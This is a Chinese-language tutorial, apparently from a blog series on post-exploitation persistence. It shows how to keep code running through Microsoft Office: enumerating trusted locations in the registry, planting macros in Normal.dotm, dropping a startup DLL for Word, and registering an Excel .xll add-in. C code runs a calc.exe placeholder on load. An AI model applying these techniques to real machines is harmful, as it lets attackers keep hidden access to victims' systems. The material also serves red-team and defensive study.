前言
简介

注册表查询信任位置
注册表中可以列出office里相关工具的受信任位置,比如word在以下位置:
HKEY_CURRENT_USER/Software/Microsoft/Office/16.0/Word/Security/Trusted Locations/keysps: 16.0 意味着office2016,具体环境具体修改
reg query x64 HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations\
然后我们可以查找各个路径所在的位置
reg query x64 HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\Trusted Locations\Location1\
接下来就介绍下最常用的 “Office Templates” 与 “Word Library Add-Ins”的利用方法
Office Templates
%APPDATA%\Microsoft\Templates\Normal.dotm,如下图所示


保存完后,新打开一个word文档




然后往模板里插入宏代码

并保存到Templates当初的位置,并修改类型为xltm


Office Library Add-Ins
我们先来看一下Word Library Add-Ins制作
首先我们制作一个dll,dll代码如下
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:// exploit();WinExec("calc.exe", SW_HIDE);case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}
%appdata%\Microsoft\Word\StartupDllMain入口点的
DLL_PROCESS_ATTACH即可,如上面代码的exploit()的位置,就可以利用成功了。
启动word即可,可以看到有calc.exe的子进程

我们再看看Excel的,Excel也有和word类似的方法,不过后缀是".xll",而且他需要向注册表添加一个键值才能调用我们的"*.xll"文件,这个注册表键值在
HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options同理,16.0是版本号,不同版本号数字不同,在下面新建一个键值:
OPEN /R test.xll

void xlAutoOpen(){WinExec("calc.exe",SW_SHOWNORMAL);}BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:// exploit();case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}
%appdata%/Microsoft/AddIns下,然后启动Excel即可成功
总结
权限维持系列会慢慢更新,欢迎大家关注,希望大家能喜欢。
本篇文章如有错误,欢迎后台留言纠正,谢谢。
Reference:
https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-1-microsoft-office/
https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/
https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/
https://github.com/outflanknl/EvilClippy




